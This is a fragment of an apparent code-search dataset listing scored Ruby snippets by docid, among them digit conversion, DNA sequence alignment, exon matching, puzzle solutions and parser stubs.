"text": "def algo4(a, e)\n b = 10\n kt = 4 # Of k <= 4, return to basecase. kt MUST be >= 3\n\n # See above\n def convert_trunc(y0, k, n)\n b = 10\n\n # Choose FP value alpha <= log_2(b)\n alpha = Math.log(b)/Math.log(2)\n\n y = []\n y[0] = y0\n\n # Write nn(i) for n - floor(i*a)\n def nn(i, n, alpha)\n n - (i*alpha).to_i\n end\n\n # Truncate p bits\n def bdiv(z, p)\n z/2**p\n end\n\n s = []\n t = []\n z = []\n (1..k).each do |i|\n t[i] = b*y[i-1]\n #puts \" t[#{i}] = #{t[i]}\"\n\n s[k-i] = t[i] / 2**nn(i-1, n, alpha)\n #puts \" s[#{k-i}] = #{s[k-i]}\"\n\n z[i] = t[i] % 2**nn(i-1, n, alpha)\n #puts \" z[#{i}] = #{z[i]}\"\n\n y[i] = bdiv(z[i], nn(i-1, n, alpha) - nn(i, n, alpha))\n #puts \" y[#{i}] = #{y[i]}\"\n end\n\n return s\n end\n\n def convert_rec(k, y, n, g)\n kt = 4 # Of k <= 4, return to basecase. kt MUST be >= 3\n b = 10\n\n if(k <= kt)\n s = convert_trunc(y, k, n)\n return s\n else\n kh = (k+1)/2\n kl = k - kh + 1\n # Choose nh such that 4*g*b**(kh) < 2**nh\n nh = 0\n while 4*g*b**kh >= 2**nh\n nh+=1\n end\n\n # Choose nl such that 4*g*b**kl < 2**nl\n nl = 1\n while 4*g*b**kl >= 2**nl\n nl+=1\n end\n\n # yh <- floor y*2^(nh-n)\n yh = y/2**(n-nh)\n yl = bdiv(b**(k-kl)*y % 2**n, n-nl)\n\n sh = convert_rec(kh, yh, nh, g)\n sl = convert_rec(kl, yl, nl, g)\n\n def carry(s)\n add(s, [1])\n end\n\n def shiftdown(s)\n s[1..-1]\n end\n\n def shiftup(s, p)\n [0]*p + s\n end\n\n def add(s1,s2)\n l = [s1.length, s2.length].max\n\n val = (s1.reverse.join(\"\").to_i + s2.reverse.join(\"\").to_i)\n str = \"%0#{l}d\" % val\n str.chars.reverse.map(&:to_i)\n end\n\n def a_to_s(a, k)\n (\"%0#{k}d\" % a).chars.map(&:to_i).reverse\n end\n\n\n\n # if the trailing digit of sh is b-1 and the leading digit of sl is 0\n if(sh[0] == b-1 && sl[-1] == 0)\n sh = carry(sh)\n end\n\n # FIXME: Does this ever happen?\n # if the trailing digit of sh is 0 and the leading digit of sl is b-1\n if(sh[0] == 0 && sl[-1] == b-1)\n sl = [0] * kl\n end\n\n # Breaks if bug\n #byebug if sh != a_to_s(ah, kh)\n #byebug if sl != a_to_s(al, kl)\n # fill upper\n # sh = sh[1..-1]\n #\n ret = add(shiftup(shiftdown(sh), kl), sl)\n #byebug if ret != a_to_s(a, k)\n\n #??? floor(sh/b)*b^(kl) + sl\n return ret\n end\n end\n\n n = -e\n k = (n*Math.log(2)/Math.log(10)).ceil - 2 # Anz garantiert korrekte Ziffern in Basis 10\n g = [(Math.log(k)/Math.log(2)).ceil + 1, kt].max\n y = a\n\n s = convert_rec(k, y, n, g)\n puts \"#{k} digits\"\n return s\nend",
"title": ""
},
{
"docid": "661e0608f0a5251906faa01552573a75",
"score": "0.48709553",
"text": "def get_coords(target,seq,origin)\n origin=origin.to_i\n seq = seq.to_s # transform sequence to string so that it doesnt give an error when working with flatfile_objetc.seq\n coords=Array.new\n pos = seq.enum_for(:scan, target).map { Regexp.last_match.begin(0) } # get the position where the match starts\n pos.each do |p| # for each time the secuence was found\n begining = origin + p # begining is where the seq was found plus the origin of the exon\n ending = begining - 1 + $repeat.length # ends at begining + as many positions as our target seq has (-1 so it ends at the position of the last item)\n coords.push([begining,ending]) # add the coordenates to the array\n end\n return coords\nend",
"title": ""
},
{
"docid": "c8499fb32aef959bc2770641179e814a",
"score": "0.48696828",
"text": "def build_indexes(string)\n a_indexes = []\n b_indexes = []\n c_indexes = []\n count = 0\n first_b = 0\n string.each_char do |letter|\n case\n when letter == 'a'\n a_indexes << count\n when letter == 'b'\n b_indexes << count\n when letter == 'c'\n c_indexes << count\n end\n count += 1\n end\n a_indexes.each do |a|\n b_count = b_indexes.find_all { |b| b > a}\n first_b = (b_indexes.detect { |b| b > a}).to_i\n c_count = c_indexes.find_all { |c| c > first_b}\n puts b_count.size\n end\n\n\n\n #puts c_indexes.inspect\n #puts build_abc(a_indexes, b_indexes, c_indexes)\nend",
"title": ""
},
{
"docid": "3ae137b1a40ff3aae4f3cbb2b6082797",
"score": "0.4865177",
"text": "def reaper; end",
"title": ""
},
{
"docid": "9da61d7f7c180a0bde77d913524bb1f4",
"score": "0.48609787",
"text": "def lookahead; end",
"title": ""
},
{
"docid": "327528dbfc9ec1a092d1e7a0c277b2d6",
"score": "0.48533747",
"text": "def next_cons(input)\nx = 0\ninput.length.times do\n\tinput[x].gsub!('z','b')\n\tinput[x].gsub!('y','z')\n\tinput[x].gsub!('x','y')\n\tinput[x].gsub!('w','x')\n\tinput[x].gsub!('v','w')\n\tinput[x].gsub!('t','v')\n\tinput[x].gsub!('s','t')\n\tinput[x].gsub!('r','s')\n\tinput[x].gsub!('q','r')\n\tinput[x].gsub!('p','q')\n\tinput[x].gsub!('n','p')\n\tinput[x].gsub!('m','n')\n\tinput[x].gsub!('l','m')\n\tinput[x].gsub!('k','l')\n\tinput[x].gsub!('j','k')\n\tinput[x].gsub!('h','j')\n\tinput[x].gsub!('g','h')\n\tinput[x].gsub!('f','g')\n\tinput[x].gsub!('d','f')\n\tinput[x].gsub!('c','d')\n\tinput[x].gsub!('b','c')\nx += 1\nend\nreturn input\nend",
"title": ""
},
{
"docid": "78a7194f345d5f3d8db40b1a6b900dd4",
"score": "0.48508817",
"text": "def test # this is the only mode so far, but I made it extendable so that you can add more modes later\r\n \"\r\n n=($$**$.)[0xFA64B3ED9^$$] # this will do very crucial stuff, leave it alone\r\n m=$_?0b11010:$$%n # it's like that inverse square root thingy, just don't even try to understand\r\n [*n..m].step(n^m)[-1] # if you're curious, it's some prime algorithm, I forgot which, but should be easy to look up\r\n \".inspect\r\nend",
"title": ""
},
{
"docid": "db78c64fc48ae09fd5d88015227c5be1",
"score": "0.48403868",
"text": "def solution(n)\n # write your code in Ruby 2.2\n bin_str = n.to_s(2)\n max_gap = 0\n tmp_gap = 0\n trailing = false\n \n bin_str.each_char do |bit|\n if bit == '0'\n tmp_gap += 1\n trailing = true\n else\n if trailing and tmp_gap > max_gap \n max_gap = tmp_gap\n trainling = false\n end\n tmp_gap = 0\n end\n end\n\n return max_gap\nend",
"title": ""
},
{
"docid": "ae614849b842641161d79764780428a2",
"score": "0.48311085",
"text": "def pt2()\n results = []\n idLength = $ids[0].length\n $ids.each_with_index do |id1, id1Index|\n $ids.each do |id2|\n # short circuit so we don't do unnecessary comparisons\n if id1 == id2 or $ids.index(id2) < id1Index\n # puts \"#{$ids.index(id2)} and #{id1Index}\"\n next\n end\n puts \"comparing #{id1} and #{id2}\"\n\n # figure out each index that has a diff\n diffs = []\n idLength.times do |i|\n if id1[i] != id2[i]\n diffs << i\n end\n end\n\n # remove the char at each diff index from id1 and copy the id into results array\n slicedId = String.new id1 # copy constructor\n diffs.each do |diffIndex|\n slicedId.slice! diffIndex\n results << slicedId\n end\n end\n end\n\n puts \"#{results}\"\nend",
"title": ""
},
{
"docid": "ef93cfef01cc1173349b9aa87541cd14",
"score": "0.4828147",
"text": "def left_gaps_padding(s,l)\n p=''\n l.times{p<<'-'}\n p+s\nend\n#put gaps on the right of shorter string\ndef right_gaps_padding(s,l)\n p=''\n l.times{p<<'-'}\n s+p\nend\n\ndef rotate_strings(s1,s2)\n\talignments=[]\n\tns1,ns2=align_strings(s1,s2)\n\t((s1+s2).length+1).times do\n\t #puts ns1,ns2\n\t alignment = character_matching(ns1,ns2) #returns nil or an hash {:s1=>\"...\",:s2=>\"...\",:matches=>\"...\"}\n\t alignments.push alignment unless alignment.nil?\n\t ns2.rotate_right\n\tend\n\talignments\nend\n\n#find how many character matches\ndef character_matching(s1,s2)\n matching=0\n\ts1.length.times do |i|\n\t\tmatching+=1 if s1[i]==s2[i] and s1[i]!=\"-\"\n\tend\n\tif matching > 0\n\t\treturn {:s1=>s1.clone,:s2=>s2.clone,:matching=>matching}\n\telse\n\t\treturn {:s1=>s1.clone,:s2=>s2.clone,:matching=>0}\n\tend\nend\n\ndef substitution_cost(s1,s2,costs)\n\tcost=0\n\ts1.length.times do |i|\n\t\tcost+=costs[s1[i..i]][s2[i..i]] if s1[i]!=s2[i]\n\tend\n\t##puts s1,s2,cost\n\tcost\nend\n\ndef split_sequences_by_longest_match(s1,s2)\n\treturn nil\nend\ndef find_matches(s1,s2)\n\tmatching=[]\n\tif s2.length==s1.length\n\t\ts1.length.times do |i|\n\t\t\tif s1[i]==s2[i]\n\t\t\t\tmatching.push(s1[i])\n\t\t\telse\n\t\t\t\tmatching.push('-')\n\t\t\tend\n\t\tend\n\tend\n\treturn matching.join\nend\ndef remove_duplicated_gaps_from_beginning_and_ending(s1,s2)\n\tns1=[]\n\tns2=[]\n\tif s2.length==s1.length\n\t\ts1.length.times do |i|\n\t\t\tunless s1[i]==s2[i] and s2[i]=='-'\n\t\t\t\tns1.push(s1[i])\n\t\t\t\tns2.push(s2[i])\n\t\t\tend\n\t\tend\n\tend\n\treturn ns1.join,ns2.join\nend\n\ndef find_min_cost_alignment(alignments,costs)\n\tbestalignment={}\n\t#initialize bestalignment and mincost with first cost\n\tbestalignment[:s1],bestalignment[:s2]=alignments.first[:s1],alignments.first[:s2]\n\tmincost=substitution_cost(bestalignment[:s1],bestalignment[:s2],costs)\n\n\t#cerca l'allineamento a costo minimo fra tutti i possibili\n\talignments.each do |a|\n\t\tcost=substitution_cost(a[:s1],a[:s2],costs)\n\t\tif cost<mincost\n\t\t\tbestalignment=a.clone\n\t\t\tmincost=cost\n\t\tend\n\tend\n\tbestalignment[:s1],bestalignment[:s2] = remove_duplicated_gaps_from_beginning_and_ending(bestalignment[:s1],bestalignment[:s2])\n\treturn bestalignment\nend\n\ndef sequence_alignment(s1,s2)\ninc\n\tputs \"\\nNew recursive call on sequences:\",s1,s2\n\t#initialize costs matrix as bidimensional hash\n\tcosts = initialize_costs_matrix\n\n\t#ruota le stringhe e produce tutti i possibili allineamenti\n\t# --aa -aa aa aa- \n\t# aa-- aa- aa -aa\n\talignments=rotate_strings(s1,s2)\n\t#bestalignment conterrà.. indovina un po?\n\tbestalignment=nil\n\t#puts alignments.inspect\n\tif alignments.length>0\n\t\tbestalignment = find_min_cost_alignment(alignments,costs)\n\n\t\t#puts \"\\nMin cost matching\"\n\t\t#puts bestalignment[:s1]\n\t\t#puts bestalignment[:s2],\"\\n\"\n\t\t\n\t\tmatches = find_matches(bestalignment[:s1],bestalignment[:s2])\n\t\tmatch = matches.split('-').map{|e|\n\t\t\tif e == ''\n\t\t\t\tnil\n\t\t\telse\n\t\t\t\te\n\t\t\tend\n\t\t}.compact.sort_by{|e|\n\t\t\te.length\n\t\t}.last\n\t\t\n\t\tunless match.nil?\n\t\t\t#Split della stringa in corrispondenza di matches\n\t\t\tputs \"\\nNext split on: #{match}\"\n\t\t\tstartindex=matches.index(match)\n\t\t\tendindex=matches.index(match)+match.length-1\n\t\t\tputs \"Starts form char at position #{startindex} to #{endindex}\"\n\t\t\t\n\t\t\tif startindex>0\n\t\t\t\tputs \"\\nLeft part:\"\n\t\t\t\tputs ns1=bestalignment[:s1][0..startindex-1]\n\t\t\t\tputs ns2=bestalignment[:s2][0..startindex-1]\n\t\t\telse\n\t\t\t\tns1=\"\"\n\t\t\t\tns2=\"\"\n\t\t\tend\n\t\t\t\n\t\t\tif endindex<bestalignment[:s1].length-1\n\t\t\t\tputs \"\\nRight part:\"\n\t\t\t\tputs ns3=bestalignment[:s1][endindex+1..-1]\n\t\t\t\tputs ns4=bestalignment[:s2][endindex+1..-1]\n\t\t\telse\n\t\t\t\tns3=\"\"\n\t\t\t\tns4=\"\"\n\t\t\tend\n\t\t\t\n\t\t\t#Gestione delle chiamate ricorsive per le sottostringhe di sinistra\n\t\t\t\n\t\t\tns1,ns2=sequence_alignment(ns1,ns2) if ns1.length>0\n\t\t\t#Gestione delle chiamate ricorsive per le sottostringhe di sinistra\n\t\t\tns3,ns4=sequence_alignment(ns3,ns4) if ns3.length>0\n\t\t\t#fusione\n\t\t\ts1=ns1+match+ns3\n\t\t\ts2=ns2+match+ns4\n\t\t\t#assegnamento\n\t\t\ts1,s2=bestalignment[:s1],bestalignment[:s2]\n\t\telse\n\t\t\ts1,s2=bestalignment[:s1],bestalignment[:s2]\n\t\tend\n\tend\n\tputs \"\\n\"\n\treturn s1,s2\nend\n\n\n###################################\n# #\n#DI QUI PARTE IL PROGRAMMAAAAAAAA!#\n# #\n###################################\n\n\n#assign and print random ACGT strings\nputs s1=generate_random_string(a,b)\nputs s2=generate_random_string(a,b)\n\n#di test...\n#puts s1=\"AAACCCATCACACGGGACATATT\"\n#puts s2=\"AACCAGTCACACGGCA\"\n\n#io mi aspetterei questa... costo=11 (diversità)\n#AAACCCA-TCACACGG-GACATATT\n#AA-CC-AGTCACACGGC-A------\n\n#AAACCCATCACACGGGACATATT COSTO=10\n#-AACCAGTCACACGGCA------\n\ns1,s2 = sequence_alignment(s1,s2)\nputs \"\\n\\nBest alignment:\"\nputs s1,s2\n\nputs \"\\n\\n\\n\",$a\n",
"title": ""
},
{
"docid": "b54c36b38e505bddc56a1497afe882f9",
"score": "0.4823359",
"text": "def min_lens; end",
"title": ""
},
{
"docid": "afb7c27a8561349d77eac5d9bd751021",
"score": "0.48210305",
"text": "def solution(a)\n # write your code in Ruby 2.2\n east = 0\n pass = 0\n \n a.each do |dir|\n if dir == 0\n east += 1\n else\n pass += east\n return -1 if pass > 1000000000\n end\n end\n \n pass\nend",
"title": ""
},
{
"docid": "42d2039257bcfeda7b7d00643cd82d18",
"score": "0.48183692",
"text": "def alias_maker(name)\r\n name_arr = name.split(\" \")\r\n name_arr[0], name_arr[1] = name_arr[1], name_arr[0]\r\n #some junk code I didn't need in the end but is relevant to other strategies I\r\n #may have taken\r\n #name_arr.map!(&:capitalize)\r\n # vowels = \"aeiou\"\r\n # vowels_arr = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n # consonants = \"bcdeghjklmnpqrstvwxyz\"\r\n # idx = 0\r\n alias_first = name_arr[0].chars\r\n alias_last = name_arr[1].chars\r\n first_alias_done = []\r\n last_alias_done = []\r\n\r\n#stores converted version of array in a new variable\r\n#iterates through name as it is borken into an array\r\n#accounts for vowels being changed to their next vowel in the \"aeiou\" order with\r\n#with the edge case of \"u\" being \"a\"\r\n#also accounts for\r\n alias_first.each do |alias_chr|\r\n if alias_chr == \"a\"\r\n first_alias_done << \"e\"\r\n elsif alias_chr == \"e\"\r\n first_alias_done << \"i\"\r\n elsif alias_chr == \"i\"\r\n first_alias_done << \"o\"\r\n elsif alias_chr == \"o\"\r\n first_alias_done << \"u\"\r\n elsif alias_chr == \"u\"\r\n first_alias_done << \"a\"\r\n else\r\n if alias_chr == \"z\"\r\n first_alias_done << \"a\"\r\n elsif alias_chr.next == \"e\"\r\n first_alias_done << alias_chr.next.next\r\n elsif alias_chr.next == \"i\"\r\n first_alias_done << alias_chr.next.next\r\n elsif alias_chr.next == \"o\"\r\n first_alias_done << alias_chr.next.next\r\n elsif alias_chr.next == \"u\"\r\n first_alias_done << alias_chr.next.next\r\n else\r\n first_alias_done << alias_chr.next\r\n end\r\n end\r\n end\r\n\r\n#I know I could refactor to make this one name conversion method instead of writing\r\n#two separate blocks for it, I just didn't have much time left over and copy/paste\r\n#involved less thought/effort\r\n alias_last.each do |alias_chr|\r\n if alias_chr == \"a\"\r\n last_alias_done << \"e\"\r\n elsif alias_chr == \"e\"\r\n last_alias_done << \"i\"\r\n elsif alias_chr == \"i\"\r\n last_alias_done << \"o\"\r\n elsif alias_chr == \"o\"\r\n last_alias_done << \"u\"\r\n elsif alias_chr == \"u\"\r\n last_alias_done << \"a\"\r\n else\r\n if alias_chr == \"z\"\r\n last_alias_done << \"a\"\r\n elsif alias_chr.next == \"e\"\r\n last_alias_done << alias_chr.next.next\r\n elsif alias_chr.next == \"i\"\r\n last_alias_done << alias_chr.next.next\r\n elsif alias_chr.next == \"o\"\r\n last_alias_done << alias_chr.next.next\r\n elsif alias_chr.next == \"u\"\r\n last_alias_done << alias_chr.next.next\r\n else\r\n last_alias_done << alias_chr.next\r\n end\r\n end\r\n end\r\nreturn first_alias_done.join(\"\").capitalize + \" \" + last_alias_done.join(\"\").capitalize\r\nend",
"title": ""
},
{
"docid": "bfc59ba4069006df84cd4e7d17c175e6",
"score": "0.48154396",
"text": "def first_fixed; end",
"title": ""
},
{
"docid": "578ce53e7557b77d09aa1ec07e93cd29",
"score": "0.48133394",
"text": "def hashlife(arr)\n results = []\n\n arr.each_with_index do |el, idx|\n next if idx.even?\n results << \"#\" * arr[idx - 1] + el[arr[idx - 1]..-1]\n end\n\n results\nend",
"title": ""
},
{
"docid": "9cc2545890cb62808a80dabdd1f131fa",
"score": "0.48116916",
"text": "def horspool(pattern, text)\n # print text\n # start at the first char\n # compare last char of pattern with corresponding char of text\n pattern_index = position = pattern.length - 1\n\n visits = Hash.new(false)\n\n while text.length - position >= pattern.length - (pattern.length - 2)\n\n if visits[[position, pattern_index]]\n while text[position] == pattern.chars.last\n position += 1\n end\n pattern_index = pattern.length - 1\n else\n visits[[position, pattern_index]] = true\n end\n\n if text[position] == pattern[pattern_index]\n #match\n #are all characters matched?\n if pattern_index == 0 || pattern_index == - pattern.length\n return position\n end\n #compare next char\n position -= 1\n pattern_index -=1\n elsif pattern.include?(text[position])\n #mismatch in table\n #shift by that much\n position += bc_table(pattern)[text[position]]\n pattern_index = pattern.length - 1\n else\n #mismatch not in table\n #shift whole length of pattern\n position += pattern.length\n pattern_index = pattern.length - 1\n end\n end\n\nend",
"title": ""
},
{
"docid": "8c678755aff5bcb77269b2a69ab34964",
"score": "0.48079345",
"text": "def range_summary(array)\n # initiate an empty array, accumulator\n # iterate thru the given array looking for contiguity\n # add ints to chunk if contiguos, extract first and last when not contiguos\n\n result = Array.new\n array.each.with_index do |x, i|\n range = []\n if x + 1 == array[i + 1]\n range << x << array[i+1]\n else result << [range.first, range.last]\n # range = []\n end\n end\n\n result\nend",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.48076305",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.48076305",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.48076305",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.48076305",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.48076305",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.48076305",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "3d14cd6faa4c4bca806063cd2e471a54",
"score": "0.48039684",
"text": "def match_exon (seq) #object to take the target in given exon\r\n\r\n len_seq = seq.length()\r\n exon_positions = Hash.new\r\n\r\n # #we take all the positions inside of the seq that match with cttctt\r\n positions_direct_match = seq.gsub(/#{$match}/).map{Regexp.last_match.begin(0)}\r\n positions_reverse_match = seq.reverse_complement.gsub(/#{$match}/).map{Regexp.last_match.begin(0)}\r\n\r\n #Look for the features for the seq: exon id, position and strand\r\n seq.features.each do |feature|\r\n\r\n if feature.feature =~ /exon/ #first filter --> has to be exon\r\n\r\n position = feature.position\r\n\r\n exon_id = feature.qualifiers[0].value.gsub('exon_id=', '')\r\n\r\n\r\n if position =~ /complement/ # If that happens --> the strand is reverse -\r\n #coordinates for exons\r\n position = feature.position.match(/[0-9]+\\.\\.[0-9]+/).to_s.split(\"..\")\r\n positions_exon = []\r\n\r\n position.each do |pos|\r\n #We transform the coordinates\r\n positions_exon.insert(0, len_seq - pos.to_i)\r\n end\r\n\r\n strand = '-'\r\n positions_reverse_match.each do |match_init|\r\n\r\n match_end = match_init + $match.length() - 1\r\n\r\n if (match_init >= positions_exon[0].to_i) && (match_init <= positions_exon[1].to_i) && (match_end >= positions_exon[0].to_i) && (match_end <= positions_exon[1].to_i)\r\n\r\n m_end = len_seq - match_end\r\n m_init = len_seq - match_init\r\n exon_positions[[m_end, m_init]] = [exon_id, strand]\r\n\r\n end\r\n\r\n end\r\n\r\n ####################################################################################################################33\r\n else #the exon is +\r\n\r\n position_exon = position.split(\"..\")\r\n\r\n strand = '+'\r\n positions_direct_match.each do |match_begin|\r\n\r\n match_end = match_begin + $match.length() - 1\r\n\r\n if (match_begin >= position_exon[0].to_i) && (match_begin <= position_exon[1].to_i) && (match_end >= position_exon[0].to_i) && (match_end <= position_exon[1].to_i)\r\n #The target have to be inside of the exon\r\n exon_positions[[match_begin, match_end]] = [exon_id, strand]\r\n\r\n end\r\n\r\n end\r\n\r\n end #if complement === reverse\r\n\r\n\r\n end #end exon\r\n end #end features\r\n\r\n return exon_positions\r\n\r\n\r\nend",
"title": ""
},
{
"docid": "6a11049570c125afb6a57e1ba0bbda54",
"score": "0.4801926",
"text": "def solve_iterative \n ## the recursive solution above is nice and it works well. but I'll think later if I can solve this in a different way using iteration. \n end",
"title": ""
},
{
"docid": "21f4b698685a6f7df878994724231b90",
"score": "0.4792067",
"text": "def make_convert_arg\n basectype = ctype[0...-5]\n code.conversions << <<EOS + ' '\n #{basectype} *#{name}PtrBase = 0, *#{name}Ptr = 0;\n if (#{name}) {\nEOS\n unless code.arrays.empty?\n code.arrays.each do |a, t|\n if t == basectype\n code.conversions << \"if((*env)->IsSameObject(env, #{name}, #{a}) == JNI_TRUE)\\n #{name}PtrBase = #{a}PtrBase;\\n else\\n \"\n end\n end\n end\n code.conversions << <<EOS\n#{name}PtrBase = (*env)->Get#{basectype[1..-1].capitalize}ArrayElements(env, #{name}, NULL);\n #{name}Ptr = #{name}PtrBase + #{'2*' if type.basetype =~ /COMPLEX/}#{name}Idx;\n }\nEOS\n \n # and releasing the stuff again...\n release = []\n release << \" if(#{name}PtrBase) {\"\n release << \" (*env)->Release#{basectype[1..-1].capitalize}ArrayElements(env, #{name}, #{name}PtrBase, #{@type.output? ? '0' : 'JNI_ABORT'});\"\n code.arrays.each do |a, t|\n if t == basectype\n release << \" if (#{name}PtrBase == #{a}PtrBase)\"\n release << \" #{a}PtrBase = 0;\"\n end\n end\n release << \" #{name}PtrBase = 0;\"\n release << \" }\\n\"\n\n code.release_arrays = release.join(\"\\n\") + code.release_arrays\n \n # store information about the arrays we have already handled\n code.arrays << [name, basectype]\n end",
"title": ""
},
{
"docid": "4e06f7815776a51c9d06d161355c7d41",
"score": "0.47894907",
"text": "def jumpingOnClouds(c)\n res = Array.new(2, 0)\n c.each_with_index do |c0, i|\n next if i < res[0]\n if c[i+ 2] == 0\n res = [i+2, res[1] + 1]\n elsif c[i+ 1] == 0\n res = [i+1, res[1] + 1]\n end\n end\n res[1]\nend",
"title": ""
},
{
"docid": "0e4cda0adbc8b5aecd2938d89a067613",
"score": "0.47801164",
"text": "def solution(s)\n\nend",
"title": ""
},
{
"docid": "376b3cd33a4087f0eb888cefb0b0902a",
"score": "0.47769678",
"text": "def jxzd\n hNum, pNum = 1,1\n pN = 1\n hN = 2\n while (hN != pN or pN == 40755)\n if hN > pN\n pNum += 1\n pN = pNum * (pNum * 3 - 1) /2\n else\n hNum += 1\n hN = hNum * (hNum * 2 - 1)\n end\n end\n pN\nend",
"title": ""
},
{
"docid": "b8ddeb9ad1e7543e50f26119b0b5db78",
"score": "0.4774327",
"text": "def solution(s, p, q)\n # write your code in Ruby 2.2\n hash = { 'A'=> 1, 'C'=> 2, 'G'=> 3, 'T'=> 4 }\n array = []\n p.each_with_index do |e, i|\n low = 4\n cut = s[p[i]..q[i]]\n cut.each_char { |c| low = hash[c] if hash[c] < low }\n array.push(low)\n end\n array\nend",
"title": ""
},
{
"docid": "eceb73ec3da96d8b729fdff0ce12cafb",
"score": "0.47742867",
"text": "def lexv(ab, p)\n\tres = []\n\tarr_idx = Array.new(p) { |i| 0 }\n\tidx = 0\n\tlast = ''\n\n\twhile last != (ab.last * p)\n\t\tif last.size < p\n\t\t\tidx = 0\n\t\t\tarr_idx[last.length] = idx\n\t\t\tlast += ab[0]\n\t\telsif idx != (ab.size - 1)\n\t\t\tidx += 1\n\t\t\tarr_idx[last.length-1] = idx\n\t\t\tlast = last[0..p-2] + ab[idx]\n\t\telse\n\t\t\t# puts last, arr_idx.inspect\n\t\t\twhile arr_idx[last.length-1] == (ab.size - 1)\n\t\t\t\tlast = last[0..last.length-2]\n\t\t\tend\n\t\t\tarr_idx[last.length - 1] += 1\n\t\t\tlast[-1, 1] = ab[arr_idx[last.length - 1]]\n\t\t\t# puts arr_idx.inspect, last, '----'\n\t\tend\n\t\tres.push last\n\tend\n\tres\nend",
"title": ""
},
{
"docid": "be9ba48e3471cdeea55b3fa3acff13c0",
"score": "0.47673687",
"text": "def pivot_index(nums)\n def pivot_index(nums)\n nums.each_with_index do |n, idx|\n return idx if idx == 0 && nums[idx+1...nums.length].inject(:+) == 0\n return idx if nums[0...idx].inject(:+) == nums[idx+1...nums.length].inject(:+)\n return idx if idx == nums.length - 1 && nums[0...idx].inject(:+) == 0\n end\n -1\n end\nend",
"title": ""
},
{
"docid": "75140bd92377e07bd7367ec852f43d4d",
"score": "0.4761429",
"text": "def solution(arr) end",
"title": ""
},
{
"docid": "fc47ec1746ca87fd24d9f4f48279f99e",
"score": "0.4759426",
"text": "def observe_dependencies_in_array\n \n # initialize double array with 0s\n output = Array.new(@functions.length)\n for i in 1 .. @functions.length do \n output[i-1] = Array.new(@functions.length, 0)\n end\n \n \n # loop over all functions and create a list of all transitions\n ind = 1\n @functions.each do |function_family|\n function_family.each do |function|\n vars = Hash.new\n \n # find all x\\d variables in the raw function\n matches = function[:raw].scan(/x(\\d+)/)\n if ( matches.size ) \n # store the max added to the hash so we can \n # simulate what scalar(@var) would do in Perl\n max = 0\n matches.each do |match|\n i = match[0].to_i\n vars[ i ] = i\n max = i > max ? i : max\n end\n \n # we add +1 here as scalar(@var) in Perl is the\n # largest index in the array + 1\n for j in (0..max+1)\n if !vars[ j ].nil?\n from = vars[ j ]\n output[ind-1][from-1] = 1\n #output.push \"node#{from} -> node#{ind};\"\n end\n end # end for loop\n \n end # end if matches.size\n \n end # end function_family.each\n \n ind = ind + 1\n \n end # end @functions.each\n\n output.each do |function|\n print function \n puts \"\"\n end\n output\n end",
"title": ""
},
{
"docid": "8c2b0004ddd0d9b72e4bcb154c4daeb9",
"score": "0.4759352",
"text": "def _reduce_484(val, _values, result)\n result = \"&#{val[1]}\".intern\n \n result\nend",
"title": ""
},
{
"docid": "3fe16723cfe073a33d3a2398f331e395",
"score": "0.47591084",
"text": "def transformations; end",
"title": ""
},
{
"docid": "3fe16723cfe073a33d3a2398f331e395",
"score": "0.47591084",
"text": "def transformations; end",
"title": ""
},
{
"docid": "8654ba85b01e0ae4a21664581ca6d4d1",
"score": "0.4755906",
"text": "def magic3(a)\n a[0]+a[4]+a[8]==S && a[2]+a[4]+a[6]==S &&\n a[0]+a[1]+a[2]==S && a[3]+a[4]+a[5]==S && a[6]+a[7]+a[8]==S &&\n a[0]+a[3]+a[6]==S && a[1]+a[4]+a[7]==S && a[2]+a[5]+a[8]==S\nend",
"title": ""
},
{
"docid": "723171778a52b522afd0b182c4b8194d",
"score": "0.47534856",
"text": "def diff(a, b, f, w)\n as, bs, rs = a.size, b.size, [ Cand.new(0, 0, 0, []) ]\n\n until rs.empty? do\n rs = rs.map do |r|\n price, ai, bi, diff = r.values\n\n if ai == as-1 && bi == bs-1\n return diff.taint(w).taint(w).map do |x| \n if x.w == 0 \n \"...\\n\"\n elsif x.op <= 0 \n (x.op ==0 ? \" \" : \"- \") + (x.i+1).to_s + \" \" + a[x.i]\n else \n \"+ \" + (x.i+1).to_s + \" \" + b[x.i]\n end\n end.chunk{|x| x}.map(&:first) # uniq adjacent\n .join(\"\")\n end\n \n rs1 = []\n rs1 << Cand.new(price+1, ai, bi+1, diff + [Res.new(+1, bi, w)]) if bi < bs\n rs1 << Cand.new(price+1, ai+1, bi, diff + [Res.new(-1, ai, w)]) if ai < as\n rs1 << Cand.new(price, ai+1, bi+1, diff + [Res.new( 0, ai, 0)]) if ai < as && bi < bs && a[ai] == b[bi]\n rs1\n\n end.flatten.sort{|x,y| x.price <=> y.price}[0..f]\n end\nend",
"title": ""
},
{
"docid": "55c33c7ce3130969732a04bfd74f1a4b",
"score": "0.47530222",
"text": "def _reduce_415(val, vofs)\n\t\t # numeric: tINTEGER ...\n result = val[vofs + 1] * -1 # TODO: pt_testcase\n \n result\nend",
"title": ""
},
{
"docid": "5cf7275ca0331c307b54d562eac7fd6e",
"score": "0.47490898",
"text": "def ArithGeoII(arr)\n return \"Arithmetic\" if (1...arr.length).map {|i| arr[i] - arr[i - 1]}.uniq.size == 1\n return \"Geometric\" if (1...arr.length).map {|i| arr[i] / arr[i - 1]}.uniq.size == 1\n -1\nend",
"title": ""
},
{
"docid": "8a65a2793414709d4df058f0a1658c50",
"score": "0.47448406",
